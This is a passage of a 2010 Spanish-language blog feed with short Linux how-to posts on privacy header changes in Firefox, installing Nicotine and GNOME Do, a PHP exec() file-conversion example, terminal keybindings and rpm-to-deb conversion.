href="http://3.bp.blogspot.com/_adYnwobHI2E/S17NvOJq_oI/AAAAAAAAAVA/YepwtE3xpEU/s1600-h/modificar_cabeceras_firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S17NvOJq_oI/AAAAAAAAAVA/YepwtE3xpEU/s320/modificar_cabeceras_firefox.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Modificar&lt;/b&gt; el &lt;b&gt;Referer&lt;/b&gt;, es conocido como una técnica de &lt;b&gt;SPAM&lt;/b&gt;, y como veis en mi ejemplo, he puesto la &lt;b&gt;dirección&lt;/b&gt; de este &lt;b&gt;blog&lt;/b&gt;. En cualquier caso, esto &lt;b&gt;ayudaría&lt;/b&gt; a &lt;b&gt;identificarnos&lt;/b&gt; y es todo lo contrario de lo que queremos, por eso, &lt;b&gt;recomiendo&lt;/b&gt; poner &lt;b&gt;sencillamente&lt;/b&gt; los datos que os he puesto o lo que queráis siempre y cuando no os identifique.&lt;br /&gt;&lt;br /&gt;Ahora en nuestra nueva visita a la web de DanaSoft nos encotraremos con lo siguiente:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S17OmUvRoaI/AAAAAAAAAVI/6iQs6XhblJg/s1600-h/vipersig.jpg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S17OmUvRoaI/AAAAAAAAAVI/6iQs6XhblJg/s320/vipersig.jpg.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Como véis ya no aparece la &lt;b&gt;parte del sistema operativo&lt;/b&gt;, y sobre la parte el Referer, se mostrará nuestra muy incorrecta imagen.&lt;br /&gt;&lt;br /&gt;En nuestras próximas entregas sobre &lt;b&gt;Privacidad&lt;/b&gt;, hablaremos de &lt;b&gt;Proxys&lt;/b&gt; y de servicios como &lt;b&gt;TOR o similares&lt;/b&gt;, y de cómo ponérselo difícil a la gente.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7530212607808480155?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7530212607808480155/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/privacidad-firefox-modificar-cabeceras.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7530212607808480155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7530212607808480155'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/privacidad-firefox-modificar-cabeceras.html' title='Privacidad: Firefox - Modificar Cabeceras (User Agent y Referer)'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S17PEOut5UI/AAAAAAAAAVQ/PUDaOmV4FAc/s72-c/big-brother-poster.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1965635384366686827</id><published>2010-01-25T17:09:00.000+01:00</published><updated>2010-01-25T17:09:53.636+01:00</updated><title type='text'>Nicotine - Descarga música en GNOME</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S13CS2hUPZI/AAAAAAAAAU4/F6jCK7-ayPs/s1600-h/nicotine.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S13CS2hUPZI/AAAAAAAAAU4/F6jCK7-ayPs/s320/nicotine.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;Nicotine&lt;/b&gt; es un &lt;b&gt;cliente&lt;/b&gt; de &lt;b&gt;descargas&lt;/b&gt; para la famosa red &lt;b&gt;P2P&lt;/b&gt; usada por &lt;b&gt;Soulseek&lt;/b&gt;. Si lo que quieres es &lt;b&gt;descargar&lt;/b&gt; &lt;b&gt;música&lt;/b&gt; y &lt;b&gt;reemplazar&lt;/b&gt; esos &lt;b&gt;programas&lt;/b&gt; &lt;b&gt;cargados&lt;/b&gt; de &lt;b&gt;publicidad&lt;/b&gt; como es el &lt;b&gt;Kazaa&lt;/b&gt;, esta es tu &lt;b&gt;alternativa&lt;/b&gt; &lt;b&gt;libre&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt; sólo hay que &lt;b&gt;ejecutar&lt;/b&gt; el siguiente &lt;b&gt;comando&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install nicotine&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, lo &lt;b&gt;ejecutaremos&lt;/b&gt; y se nos mostrará el &lt;b&gt;menú&lt;/b&gt; de &lt;b&gt;configuración&lt;/b&gt;. Si es la &lt;b&gt;primera&lt;/b&gt; &lt;b&gt;vez&lt;/b&gt; que usamos esta red meteremos nuestro &lt;b&gt;usuario&lt;/b&gt; y &lt;b&gt;contraseña&lt;/b&gt;, y si no usaremos el que ya &lt;b&gt;dispongamos&lt;/b&gt;, &lt;b&gt;no hay que registrarse&lt;/b&gt;. Aceptaremos y &lt;b&gt;meteremos&lt;/b&gt; los &lt;b&gt;directorios&lt;/b&gt; de &lt;b&gt;archivos&lt;/b&gt; &lt;b&gt;compartidos&lt;/b&gt;, directorio de &lt;b&gt;descargas&lt;/b&gt; &lt;b&gt;temporales&lt;/b&gt; y directorio de &lt;b&gt;descargas&lt;/b&gt; &lt;b&gt;finalizadas&lt;/b&gt;.&lt;br /&gt;&amp;nbsp;Una vez hecho todo esto &lt;b&gt;aceptaremos&lt;/b&gt;, &lt;b&gt;conectaremos&lt;/b&gt;, &lt;b&gt;buscaremos&lt;/b&gt; los &lt;b&gt;archivos&lt;/b&gt; que deseemos y &lt;b&gt;chatearemos&lt;/b&gt; con los &lt;b&gt;usuarios&lt;/b&gt; de los &lt;b&gt;canales&lt;/b&gt; de &lt;b&gt;música&lt;/b&gt;.&lt;br /&gt; &lt;br /&gt;Nota: Este &lt;b&gt;programa&lt;/b&gt; esta &lt;b&gt;orientado&lt;/b&gt; a &lt;b&gt;otros&lt;/b&gt; &lt;b&gt;estilos&lt;/b&gt; &lt;b&gt;musicales&lt;/b&gt;, tal vez haya más &lt;b&gt;&lt;i&gt;underground&lt;/i&gt;&lt;/b&gt; que &lt;b&gt;comercial&lt;/b&gt; por lo que si buscas &lt;i&gt;David Bisbal&lt;/i&gt; puede que no tengas demasiada suerte.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1965635384366686827?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1965635384366686827/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/nicotine-descarga-musica-en-gnome.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1965635384366686827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1965635384366686827'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/nicotine-descarga-musica-en-gnome.html' title='Nicotine - Descarga música en GNOME'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S13CS2hUPZI/AAAAAAAAAU4/F6jCK7-ayPs/s72-c/nicotine.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-285910281321245645</id><published>2010-01-24T18:30:00.000+01:00</published><updated>2010-01-24T18:30:49.318+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNOME'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><title type='text'>Linux - Añadir barra de Mac - Gnome do Docky</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S1yBvk_C9OI/AAAAAAAAAUw/WMgZTSppLUQ/s1600-h/dock-gnome.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S1yBvk_C9OI/AAAAAAAAAUw/WMgZTSppLUQ/s320/dock-gnome.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;A petición de uno de nuestros lectores hoy comentaremos como añadir la típica &lt;b&gt;barra&lt;/b&gt; de &lt;b&gt;programas&lt;/b&gt; al &lt;b&gt;estilo&lt;/b&gt; de MAC OS en la que podréis &lt;b&gt;ejecutar&lt;/b&gt; los &lt;b&gt;programas&lt;/b&gt; y &lt;b&gt;navegar&lt;/b&gt; entre las &lt;b&gt;aplicaciones&lt;/b&gt; de una manera más o menos &lt;b&gt;atractiva&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;añadir&lt;/b&gt; la &lt;b&gt;barra&lt;/b&gt; en &lt;b&gt;GNOME&lt;/b&gt;, sólo hay que &lt;b&gt;instalar&lt;/b&gt; una sencilla &lt;b&gt;extensión&lt;/b&gt; de &lt;b&gt;GNOME&lt;/b&gt;, la extensión &lt;b&gt;DO&lt;/b&gt;. Para ello habrá que &lt;b&gt;ejecutar&lt;/b&gt; el siguiente &lt;b&gt;comando&lt;/b&gt; en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install gnome-do&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, iremos a &lt;b&gt;Aplicaciones &amp;gt; Accesorios &amp;gt; GNOME Do&lt;/b&gt; , y se nos abrirá una ventana. Iremos a la &lt;b&gt;zona&lt;/b&gt; de &lt;b&gt;notificaciones&lt;/b&gt; o &lt;i&gt;SysTray&lt;/i&gt; y buscaremos el &lt;b&gt;icono&lt;/b&gt; morado de &lt;b&gt;GNOME Do&lt;/b&gt;, pulsaremos con el segundo botón y escogeremos Preferencias.&lt;br /&gt;&lt;br /&gt;Después daremos en la en la pestaña &lt;b&gt;Apariencia&lt;/b&gt; y si tenemos &lt;b&gt;activados&lt;/b&gt; los &lt;b&gt;efectos de escritorio&lt;/b&gt; escogeremos &lt;b&gt;Docky&lt;/b&gt; y pulsaremos sobre cerrar.&lt;br /&gt;&lt;br /&gt;Con todo esto tendremos la &lt;b&gt;barra&lt;/b&gt; de &lt;b&gt;aplicaciones&lt;/b&gt; al estilo &lt;b&gt;MAC&lt;/b&gt;.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-285910281321245645?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/285910281321245645/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-anadir-barra-de-mac-gnome-do.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/285910281321245645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/285910281321245645'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-anadir-barra-de-mac-gnome-do.html' title='Linux - Añadir barra de Mac - Gnome do Docky'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S1yBvk_C9OI/AAAAAAAAAUw/WMgZTSppLUQ/s72-c/dock-gnome.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3036998321402342295</id><published>2010-01-23T08:07:00.001+01:00</published><updated>2010-01-23T08:08:25.427+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Richard Stallman'/><title type='text'>San Ignucio - Tu nuevo profeta.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S1qgA5k7awI/AAAAAAAAAUo/FTnyt80B0rA/s1600-h/San+Ignucio.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S1qgA5k7awI/AAAAAAAAAUo/FTnyt80B0rA/s320/San+Ignucio.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Si eres de los que crees en el FSM, aquí tienes tu nueva relgión. &lt;b&gt;San Ignucio&lt;/b&gt;,&amp;nbsp;&lt;a href="http://donzeyt.blogspot.com/2009/12/historias-richard-stallman.html"&gt;Richard Stallman&lt;/a&gt;, nos predica sobre el &lt;b&gt;Software Libre&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/cnJ-rGBX9Es&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/cnJ-rGBX9Es&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3036998321402342295?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3036998321402342295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/san-ignucio-tu-nueva-religion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3036998321402342295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3036998321402342295'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/san-ignucio-tu-nueva-religion.html' title='San Ignucio - Tu nuevo profeta.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S1qgA5k7awI/AAAAAAAAAUo/FTnyt80B0rA/s72-c/San+Ignucio.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7238577674290759013</id><published>2010-01-23T07:54:00.000+01:00</published><updated>2010-01-23T07:54:57.207+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><title type='text'>PHP: Ejecutar comandos en tu linux con exec</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/Sxg2LtM1s5I/AAAAAAAAABs/BqNLzu9j1A0/s1600/php-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/Sxg2LtM1s5I/AAAAAAAAABs/BqNLzu9j1A0/s320/php-logo.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;Exec&lt;/b&gt;, un &lt;b&gt;comando&lt;/b&gt; muy &lt;b&gt;potente&lt;/b&gt; en &lt;b&gt;php&lt;/b&gt; que nos permitirá &lt;b&gt;realizar&lt;/b&gt; &lt;b&gt;tareas&lt;/b&gt; muy &lt;b&gt;interesantes&lt;/b&gt;. Si quieres &lt;b&gt;montar&lt;/b&gt; un &lt;b&gt;servicio&lt;/b&gt; &lt;b&gt;en línea&lt;/b&gt; y no sabes &lt;b&gt;como&lt;/b&gt; &lt;b&gt;hacerlo&lt;/b&gt;, este &lt;b&gt;comando&lt;/b&gt; te salvará la vida. Puedes crear tu propio &lt;b&gt;portal&lt;/b&gt; de &lt;b&gt;vídeos&lt;/b&gt;, &lt;b&gt;transformador&lt;/b&gt; de &lt;b&gt;imágenes&lt;/b&gt;, &lt;b&gt;transformador&lt;/b&gt; de &lt;b&gt;audio&lt;/b&gt;, lo que quieras.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;En el ejemplo de hoy, crearemos un sencillo programa que nos transformará una &lt;b&gt;imagen&lt;/b&gt; de &lt;a href="http://donzeyt.blogspot.com/2009/12/ubuntu-imagen-nrg-iso.html"&gt;CD NRG a ISO&lt;/a&gt; , mediante el &lt;b&gt;programa&lt;/b&gt; &lt;b&gt;nrg2iso&lt;/b&gt;. Ponemos este &lt;b&gt;ejemplo&lt;/b&gt; porque lanzar un servicio en línea de este tipo sería un &lt;b&gt;disparate&lt;/b&gt; debido al tamaño gigantesco de las imágenes de CD y el tráfico que generarían.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;En cualquier caso, es un buen ejemplo para ver el &lt;b&gt;comando exec&lt;/b&gt;. En el enlace que os puse atrás, podréis instalar el programa. La &lt;b&gt;utilización&lt;/b&gt; de este &lt;b&gt;comando&lt;/b&gt; será muy sencilla. Como es en local, &lt;b&gt;no usaremos&lt;/b&gt; variables del tipo &lt;b&gt;$_POST&lt;/b&gt; o &lt;b&gt;$_GET&lt;/b&gt;, simplemente &lt;b&gt;usaremos&lt;/b&gt; una &lt;b&gt;variable&lt;/b&gt; cualquiera llamada &lt;b&gt;$ruta&lt;/b&gt;, y como nombre de la imagen usaremos &lt;b&gt;$nombre&lt;/b&gt;, quedando algo así:&lt;br /&gt;&lt;/div&gt;&lt;blockquote style="color: #38761d;"&gt;&amp;nbsp;&amp;lt;?php&lt;br /&gt;$ruta = "/home/tucuenta/";&lt;br /&gt;$imagen = "nombre_imagen.";&lt;br /&gt;//Transforma imagen nrg a iso en php&lt;br /&gt;echo exec("nrg2iso ".$ruta.$imagen."nrg ".$ruta.$imagen."iso");&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&amp;nbsp;&lt;b&gt;Ejecutaríamos&lt;/b&gt; el comando, da igual la ruta, y veríamos por pantalla el &lt;b&gt;resultado&lt;/b&gt; de la &lt;b&gt;salida&lt;/b&gt; del &lt;b&gt;terminal&lt;/b&gt;, del sistema operativo en el que estés. En este caso estamos trabajando bajo Linux por lo que tendríamos la &lt;b&gt;imagen&lt;/b&gt; &lt;b&gt;transformada&lt;/b&gt;. Esto se puede aplicar a cualquier tipo de &lt;b&gt;formato&lt;/b&gt; y &lt;b&gt;conversor&lt;/b&gt;, sólo necesitáis un &lt;b&gt;servidor&lt;/b&gt; que acepte &lt;b&gt;exec&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7238577674290759013?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7238577674290759013/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/php-ejecutar-comandos-en-tu-linux-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7238577674290759013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7238577674290759013'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/php-ejecutar-comandos-en-tu-linux-con.html' title='PHP: Ejecutar comandos en tu linux con exec'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/Sxg2LtM1s5I/AAAAAAAAABs/BqNLzu9j1A0/s72-c/php-logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5161595060823405079</id><published>2010-01-23T07:04:00.000+01:00</published><updated>2010-01-23T07:04:36.967+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNOME'/><category scheme='http://www.blogger.com/atom/ns#' term='Comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='Terminal'/><title type='text'>GNOME - Activar control v en el terminal.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S1qRXxOcZVI/AAAAAAAAAUg/W2Mjf2jspEI/s1600-h/control_v_terminal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S1qRXxOcZVI/AAAAAAAAAUg/W2Mjf2jspEI/s320/control_v_terminal.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ya casi llevamos dos meses de blog y ya sabréis todos los que me seguís como funciona &lt;b&gt;aptitude&lt;/b&gt;, el instalador de programas. Para &lt;b&gt;ahorraros&lt;/b&gt; &lt;b&gt;trabajo&lt;/b&gt;, aunque se puede hacer con el ratón, explicaremos como poder hacer &lt;b&gt;copia y pega&lt;/b&gt; con las teclas &lt;b&gt;control c&lt;/b&gt; y &lt;b&gt;control v&lt;/b&gt;, o las que elijamos.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;cambiar&lt;/b&gt; las &lt;b&gt;teclas de acceso rápido&lt;/b&gt; en &lt;b&gt;GNOME&lt;/b&gt; hay que abrir un &lt;b&gt;terminal&lt;/b&gt; y escribir lo siguiente:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;gconf-editor&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Seguiremos la siguiente ruta:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;blockquote&gt; &lt;b&gt;/ &amp;gt; apps &amp;gt; gnome-terminal &amp;gt; keybidings&lt;/b&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Pulsaremos sobe paste y &lt;b&gt;quitaremos&lt;/b&gt; del valor &lt;b style="color: red;"&gt;&amp;lt;Shift&amp;gt;&lt;/b&gt; , &lt;b&gt;obteniendo&lt;/b&gt; como resultado &lt;b style="color: #38761d;"&gt;&amp;lt;Ctrl&amp;gt;v&lt;/b&gt; . &lt;b&gt;Cerramos&lt;/b&gt; y ya podemos &lt;b&gt;copiar y pegar&lt;/b&gt; en el &lt;b&gt;terminal&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5161595060823405079?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5161595060823405079/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/gnome-activar-control-v-en-el-terminal.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5161595060823405079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5161595060823405079'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/gnome-activar-control-v-en-el-terminal.html' title='GNOME - Activar control v en el terminal.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S1qRXxOcZVI/AAAAAAAAAUg/W2Mjf2jspEI/s72-c/control_v_terminal.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5741203376595354535</id><published>2010-01-22T07:03:00.001+01:00</published><updated>2010-01-22T07:03:29.147+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='RPM'/><category scheme='http://www.blogger.com/atom/ns#' term='Alien'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='DEB'/><title type='text'>Ubuntu - Alien: convertir de .rpm a .deb</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S1k_kR6L27I/AAAAAAAAAUY/gJzMdTLwZM4/s1600-h/rpmdeb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S1k_kR6L27I/AAAAAAAAAUY/gJzMdTLwZM4/s320/rpmdeb.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;A la hora de usar &lt;b&gt;programillas&lt;/b&gt; &lt;b&gt;útiles&lt;/b&gt; nos solemos encontrar con que estos, cada día menos, están &lt;b&gt;sólo&lt;/b&gt; disponibles &lt;b&gt;en .rpm&lt;/b&gt;, es decir, el &lt;b&gt;empaquetador&lt;/b&gt; de distribuciones basadas en &lt;b&gt;Red Hat&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Estos &lt;b&gt;paquetes&lt;/b&gt;, son similares a los &lt;b&gt;deb&lt;/b&gt;, pero su sintaxis interior difiere lo suficiente como para no &lt;b&gt;poder ejecutar paquetes .rpm en debian&lt;/b&gt;. En cualquier caso, existe una &lt;b&gt;solución&lt;/b&gt; &lt;b&gt;sencillísima&lt;/b&gt;, &lt;b&gt;convertir los .rpm a .deb&lt;/b&gt; con una simple &lt;b&gt;línea de comandos&lt;/b&gt;. El &lt;b&gt;programa&lt;/b&gt; que emplearemos se llama &lt;b&gt;Alien&lt;/b&gt; y para 